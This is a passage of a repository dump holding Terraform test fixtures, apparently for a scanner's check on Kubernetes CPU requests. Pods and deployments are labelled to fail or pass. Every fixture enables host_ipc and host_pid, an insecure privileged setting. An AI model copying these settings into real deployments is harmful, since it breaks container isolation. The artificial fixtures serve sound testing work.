}\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_CPURequests/main.tf",
    "content": "# fails no spec\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n\n# fails no resource\nresource \"kubernetes_pod\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n# fails no requests\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no requests\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no requests\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no requests\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n# fails no cpu limit\nresource \"kubernetes_pod\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          memory = \"1Gi\"\n        }\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_pod_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          memory = \"1Gi\"\n        }\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_deployment\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              memory = \"1Gi\"\n            }\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_deployment_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              memory = \"1Gi\"\n            }\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          cpu = \"500m\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          cpu = \"500m\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              cpu = \"500m\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              cpu = \"500m\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_CPURequests/main2.tf",
    "content": "# fails no spec\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n\n# fails no resource\nresource \"kubernetes_pod\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n# fails no requests\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no requests\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no requests\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no requests\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n# fails no cpu limit\nresource \"kubernetes_pod\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          memory = \"1Gi\"\n        }\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_pod_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          memory = \"1Gi\"\n        }\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_deployment\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              memory = \"1Gi\"\n            }\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_deployment_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              memory = \"1Gi\"\n            }\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"fail5\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = \"x\"\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail5\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = \"x\"\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail5\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = \"x\"\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail5\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = \"x\"\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_CPURequests/main3.tf",
